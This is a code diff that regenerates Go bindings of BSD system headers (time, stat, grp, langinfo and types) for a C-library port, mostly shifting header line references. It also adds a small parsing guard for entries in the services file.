|
||||
@@ -140,10 +143,10 @@ const (
|
||||
UTIME_NOW = -1 // stat.h:358:1:
|
||||
UTIME_OMIT = -2 // stat.h:359:1:
|
||||
X_ACCMODE_T_DECLARED = 0 // types.h:166:1:
|
||||
X_BIG_ENDIAN = 4321 // endian.h:52:1:
|
||||
X_BIG_ENDIAN = 4321 // _endian.h:47:1:
|
||||
X_BLKCNT_T_DECLARED = 0 // types.h:90:1:
|
||||
X_BLKSIZE_T_DECLARED = 0 // types.h:81:1:
|
||||
X_BYTE_ORDER = 1234 // endian.h:55:1:
|
||||
X_BYTE_ORDER = 1234 // _endian.h:40:1:
|
||||
X_CAP_IOCTL_T_DECLARED = 0 // types.h:243:1:
|
||||
X_CAP_RIGHTS_T_DECLARED = 0 // types.h:248:1:
|
||||
X_CLOCKID_T_DECLARED = 0 // types.h:100:1:
|
||||
@@ -166,8 +169,8 @@ const (
|
||||
X_IN_ADDR_T_DECLARED = 0 // types.h:131:1:
|
||||
X_IN_PORT_T_DECLARED = 0 // types.h:136:1:
|
||||
X_KEY_T_DECLARED = 0 // types.h:151:1:
|
||||
X_LITTLE_ENDIAN = 1234 // endian.h:51:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _time.h:35:1:
|
||||
X_LITTLE_ENDIAN = 1234 // _endian.h:46:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _time.h:34:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_LSEEK_DECLARED = 0 // types.h:421:1:
|
||||
X_LWPID_T_DECLARED = 0 // types.h:156:1:
|
||||
@@ -179,16 +182,16 @@ const (
|
||||
X_MODE_T_DECLARED = 0 // types.h:161:1:
|
||||
X_MQD_T_DECLARED = 0 // types.h:227:1:
|
||||
X_NLINK_T_DECLARED = 0 // types.h:171:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_OFF64_T_DECLARED = 0 // types.h:181:1:
|
||||
X_OFF_T_DECLARED = 0 // types.h:176:1:
|
||||
X_PDP_ENDIAN = 3412 // endian.h:53:1:
|
||||
X_PDP_ENDIAN = 3412 // _endian.h:48:1:
|
||||
X_PID_T_DECLARED = 0 // types.h:186:1:
|
||||
X_PTHREAD_T_DECLARED = 0 // _pthreadtypes.h:68:1:
|
||||
X_QUAD_HIGHWORD = 1 // endian.h:44:1:
|
||||
X_QUAD_LOWWORD = 0 // endian.h:45:1:
|
||||
X_QUAD_HIGHWORD = 1 // _endian.h:55:1:
|
||||
X_QUAD_LOWWORD = 0 // _endian.h:56:1:
|
||||
X_RLIM_T_DECLARED = 0 // types.h:193:1:
|
||||
X_SELECT_DECLARED = 0 // select.h:103:1:
|
||||
X_SIGSET_T_DECLARED = 0 // select.h:50:1:
|
||||
@@ -200,9 +203,11 @@ const (
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_SELECT_H_ = 0 // select.h:35:1:
|
||||
X_SYS_STAT_H_ = 0 // stat.h:41:1:
|
||||
X_SYS_SYS__CLOCK_ID_H = 0 // _clock_id.h:40:1:
|
||||
X_SYS_TIMESPEC_H_ = 0 // timespec.h:37:1:
|
||||
X_SYS_TIME_H_ = 0 // time.h:36:1:
|
||||
X_SYS_TYPES_H_ = 0 // types.h:41:1:
|
||||
X_SYS__ENDIAN_H_ = 0 // _endian.h:33:1:
|
||||
X_SYS__PTHREADTYPES_H_ = 0 // _pthreadtypes.h:39:1:
|
||||
X_SYS__SIGSET_H_ = 0 // _sigset.h:41:1:
|
||||
X_SYS__STDINT_H_ = 0 // _stdint.h:33:1:
|
||||
@@ -221,8 +226,8 @@ const (
|
||||
X_UINTMAX_T_DECLARED = 0 // _stdint.h:89:1:
|
||||
X_UINTPTR_T_DECLARED = 0 // _stdint.h:81:1:
|
||||
X_USECONDS_T_DECLARED = 0 // types.h:239:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:45:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
X_XLOCALE_LOCALE1_H = 0 // _time.h:44:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -497,12 +502,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// Machine type dependent parameters.
|
||||
// -
|
||||
// This file is in the public domain.
|
||||
@@ -541,42 +549,6 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
// @(#)endian.h 7.8 (Berkeley) 4/3/91
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1991, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
//
|
||||
// This code is derived from software contributed to Berkeley by
|
||||
// Berkeley Software Design, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)cdefs.h 8.8 (Berkeley) 1/9/95
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -1843,15 +1815,69 @@ type Fd_set = Fd_set1 /* select.h:75:3 */
|
||||
// from: FreeBSD: src/sys/sys/time.h,v 1.43 2000/03/20 14:09:05 phk Exp
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1989, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
// (c) UNIX System Laboratories, Inc.
|
||||
// All or some portions of this file are derived from material licensed
|
||||
// to the University of California by American Telephone and Telegraph
|
||||
// Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
// the permission of UNIX System Laboratories, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)time.h 8.3 (Berkeley) 1/21/94
|
||||
|
||||
// These macros are shared between time.h and sys/time.h.
|
||||
|
||||
// Note: The values shown below as a comment for the __POSIX_VISIBLE values are
|
||||
// the ones FreeBSD traditionally used based on our reading of the POSIX
|
||||
// standards. However, glibc uses 199309 for all of them, even those many were
|
||||
// not defined there. To remain bug compatible with glibc means more software
|
||||
// that relied on the glibc behavior will compile easily on FreeBSD.
|
||||
//
|
||||
// Also, CLOCK_UPTIME_FAST is improperly visible temporarily for the lang/pocl
|
||||
// port until it can be updated properly. It incorrectly assumes that this was a
|
||||
// standard value. It will be moved back to the __BSD_VISIBLE section once the
|
||||
// issue is corrected.
|
||||
|
||||
// FreeBSD-specific clocks.
|
||||
|
||||
// Linux compatible names.
|
||||
|
||||
type Timezone = struct {
|
||||
Ftz_minuteswest int32
|
||||
Ftz_dsttime int32
|
||||
} /* time.h:42:1 */
|
||||
} /* time.h:43:1 */
|
||||
|
||||
type Bintime = struct {
|
||||
Fsec Time_t
|
||||
Ffrac Uint64_t
|
||||
} /* time.h:55:1 */
|
||||
} /* time.h:56:1 */
|
||||
|
||||
// Operations on timespecs
|
||||
|
||||
@@ -1867,7 +1893,7 @@ type Itimerval = struct {
|
||||
Ftv_sec Time_t
|
||||
Ftv_usec Suseconds_t
|
||||
}
|
||||
} /* time.h:447:1 */
|
||||
} /* time.h:459:1 */
|
||||
|
||||
// Getkerninfo clock information structure
|
||||
type Clockinfo = struct {
|
||||
@@ -1876,9 +1902,7 @@ type Clockinfo = struct {
|
||||
Fspare int32
|
||||
Fstathz int32
|
||||
Fprofhz int32
|
||||
} /* time.h:455:1 */
|
||||
|
||||
// These macros are also in time.h.
|
||||
} /* time.h:467:1 */
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
@@ -2013,6 +2037,43 @@ type Clockinfo = struct {
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-3-Clause
|
||||
//
|
||||
// Copyright (c) 1989, 1993
|
||||
// The Regents of the University of California. All rights reserved.
|
||||
// (c) UNIX System Laboratories, Inc.
|
||||
// All or some portions of this file are derived from material licensed
|
||||
// to the University of California by American Telephone and Telegraph
|
||||
// Co. or Unix System Laboratories, Inc. and are reproduced herein with
|
||||
// the permission of UNIX System Laboratories, Inc.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions
|
||||
// are met:
|
||||
// 1. Redistributions of source code must retain the above copyright
|
||||
// notice, this list of conditions and the following disclaimer.
|
||||
// 2. Redistributions in binary form must reproduce the above copyright
|
||||
// notice, this list of conditions and the following disclaimer in the
|
||||
// documentation and/or other materials provided with the distribution.
|
||||
// 3. Neither the name of the University nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
// ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
// OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
// OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
// SUCH DAMAGE.
|
||||
//
|
||||
// @(#)time.h 8.3 (Berkeley) 1/21/94
|
||||
|
||||
// Frequency of the clock ticks reported by times(). Deprecated - use
|
||||
// sysconf(_SC_CLK_TCK) instead. (Removed in 1003.1-2001.)
|
||||
|
||||
@@ -2054,8 +2115,6 @@ type Clockinfo = struct {
|
||||
// from: FreeBSD: src/sys/sys/time.h,v 1.43 2000/03/20 14:09:05 phk Exp
|
||||
// $FreeBSD$
|
||||
|
||||
// These macros are also in sys/time.h.
|
||||
|
||||
type Tm = struct {
|
||||
Ftm_sec int32
|
||||
Ftm_min int32
|
||||
@@ -2069,13 +2128,12 @@ type Tm = struct {
|
||||
F__ccgo_pad1 [4]byte
|
||||
Ftm_gmtoff int64
|
||||
Ftm_zone uintptr
|
||||
} /* time.h:129:1 */
|
||||
} /* time.h:101:1 */
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -2103,7 +2161,7 @@ type Tm = struct {
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _time.h:36:25 */
|
||||
type Locale_t = uintptr /* _time.h:35:25 */
|
||||
|
||||
type Stat = struct {
|
||||
Fst_dev Dev_t
|
||||
|
||||
-1
@@ -1889,7 +1889,6 @@ type Timezone = struct {
|
||||
|
||||
// hide bintime for _STANDALONE because this header is used for hpcboot.exe,
|
||||
// which is built with compilers which don't recognize LL suffix.
|
||||
//
|
||||
// http://mail-index.NetBSD.org/tech-userlevel/2008/02/27/msg000181.html
|
||||
type Bintime = struct {
|
||||
Fsec Time_t
|
||||
|
||||
+2604
File diff suppressed because it is too large.
Load diff
+5
@@ -0,0 +1,5 @@
|
||||
// Code generated by 'ccgo grp/gen.c -crt-import-path -export-defines -export-enums -export-externs X -export-fields F -export-structs -export-typedefs -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o grp/grp_netbsd_arm.go -pkgname grp', DO NOT EDIT.
|
||||
|
||||
package grp
|
||||
|
||||
var CAPI = map[string]struct{}{}
|
||||
+8
-5
@@ -21,14 +21,14 @@ const (
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_PATH_GROUP = "/etc/group" // grp.h:46:1:
|
||||
X_SIZE_T_DECLARED = 0 // grp.h:55:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -303,12 +303,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
|
||||
+2
-2
@@ -495,8 +495,8 @@ type X__cpusetid_t = int32 /* _types.h:70:14 */ // cpuset identifier.
|
||||
type X__daddr_t = X__int64_t /* _types.h:71:19 */ // bwrite(3), FIOBMAP2, etc
|
||||
|
||||
// Unusual type definitions.
|
||||
// rune_t is declared to be an ``int'' instead of the more natural
|
||||
// ``unsigned long'' or ``long''. Two things are happening here. It is not
|
||||
// rune_t is declared to be an “int” instead of the more natural
|
||||
// “unsigned long” or “long”. Two things are happening here. It is not
|
||||
// unsigned so that EOF (-1) can be naturally assigned to it and used. Also,
|
||||
// it looks like 10646 will be a 31 bit standard. This means that if your
|
||||
// ints cannot hold 32 bits, you will be in trouble. The reason an int was
|
||||
|
||||
+8
-5
@@ -21,14 +21,14 @@ const (
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_PATH_GROUP = "/etc/group" // grp.h:46:1:
|
||||
X_SIZE_T_DECLARED = 0 // grp.h:55:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -303,12 +303,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
|
||||
+1568
File diff suppressed because it is too large.
Load diff
+5
@@ -747,6 +747,11 @@ func init() {
|
||||
continue
|
||||
}
|
||||
|
||||
// https://gitlab.com/cznic/libc/-/issues/25
|
||||
if strings.Index(fields[1], "/") < 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
name := fields[0]
|
||||
portproto := strings.SplitN(fields[1], "/", 2)
|
||||
port, err := strconv.ParseInt(portproto[0], 10, 32)
|
||||
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
// Code generated by 'ccgo langinfo/gen.c -crt-import-path -export-defines -export-enums -export-externs X -export-fields F -export-structs -export-typedefs -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o langinfo/langinfo_netbsd_arm.go -pkgname langinfo', DO NOT EDIT.
|
||||
|
||||
package langinfo
|
||||
|
||||
var CAPI = map[string]struct{}{}
|
||||
+3
-4
@@ -88,7 +88,7 @@ const (
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_ILP32 = 1 // <predefined>:1:1:
|
||||
X_LANGINFO_H_ = 0 // langinfo.h:32:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:38:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:37:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_NL_ITEM_DECLARED = 0 // langinfo.h:39:1:
|
||||
@@ -97,7 +97,7 @@ const (
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:35:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:34:1:
|
||||
I386 = 1 // <predefined>:335:1:
|
||||
Unix = 1 // <predefined>:336:1:
|
||||
)
|
||||
@@ -662,7 +662,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -690,6 +689,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _langinfo.h:39:25 */
|
||||
type Locale_t = uintptr /* _langinfo.h:38:25 */
|
||||
|
||||
var _ int8 /* gen.c:2:13: */
|
||||
+11
-9
@@ -87,18 +87,18 @@ const (
|
||||
YESSTR = 54 // langinfo.h:109:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LANGINFO_H_ = 0 // langinfo.h:32:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:38:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:37:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_NL_ITEM_DECLARED = 0 // langinfo.h:39:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:35:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:34:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -364,12 +364,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -667,7 +670,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -695,6 +697,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _langinfo.h:39:25 */
|
||||
type Locale_t = uintptr /* _langinfo.h:38:25 */
|
||||
|
||||
var _ int8 /* gen.c:2:13: */
|
||||
+2
-2
@@ -556,8 +556,8 @@ type X__cpusetid_t = int32 /* _types.h:70:14 */ // cpuset identifier.
|
||||
type X__daddr_t = X__int64_t /* _types.h:71:19 */ // bwrite(3), FIOBMAP2, etc
|
||||
|
||||
// Unusual type definitions.
|
||||
// rune_t is declared to be an ``int'' instead of the more natural
|
||||
// ``unsigned long'' or ``long''. Two things are happening here. It is not
|
||||
// rune_t is declared to be an “int” instead of the more natural
|
||||
// “unsigned long” or “long”. Two things are happening here. It is not
|
||||
// unsigned so that EOF (-1) can be naturally assigned to it and used. Also,
|
||||
// it looks like 10646 will be a 31 bit standard. This means that if your
|
||||
// ints cannot hold 32 bits, you will be in trouble. The reason an int was
|
||||
|
||||
+11
-9
@@ -87,18 +87,18 @@ const (
|
||||
YESSTR = 54 // langinfo.h:109:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LANGINFO_H_ = 0 // langinfo.h:32:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:38:1:
|
||||
X_LOCALE_T_DEFINED = 0 // _langinfo.h:37:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_MACHINE__LIMITS_H_ = 0 // _limits.h:36:1:
|
||||
X_MACHINE__TYPES_H_ = 0 // _types.h:42:1:
|
||||
X_NL_ITEM_DECLARED = 0 // langinfo.h:39:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS__TYPES_H_ = 0 // _types.h:32:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:35:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
X_XLOCALE_LANGINFO_H = 0 // _langinfo.h:34:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
@@ -364,12 +364,15 @@ type X__float128 = float64 /* <builtin>:47:21 */
|
||||
|
||||
// Function should not be analyzed.
|
||||
|
||||
// Function or variable should not be sanitized, i.e. by AddressSanitizer.
|
||||
// Function or variable should not be sanitized, e.g., by AddressSanitizer.
|
||||
// GCC has the nosanitize attribute, but as a function attribute only, and
|
||||
// warns on use as a variable attribute.
|
||||
|
||||
// Guard variables and structure members by lock.
|
||||
|
||||
// Alignment builtins for better type checking and improved code generation.
|
||||
// Provide fallback versions for other compilers (GCC/Clang < 10):
|
||||
|
||||
// -
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
@@ -667,7 +670,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
// SPDX-License-Identifier: BSD-2-Clause-FreeBSD
|
||||
//
|
||||
// Copyright (c) 2011, 2012 The FreeBSD Foundation
|
||||
// All rights reserved.
|
||||
//
|
||||
// This software was developed by David Chisnall under sponsorship from
|
||||
// the FreeBSD Foundation.
|
||||
@@ -695,6 +697,6 @@ type Nl_item = X__nl_item /* langinfo.h:38:19 */
|
||||
//
|
||||
// $FreeBSD$
|
||||
|
||||
type Locale_t = uintptr /* _langinfo.h:39:25 */
|
||||
type Locale_t = uintptr /* _langinfo.h:38:25 */
|
||||
|
||||
var _ int8 /* gen.c:2:13: */
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
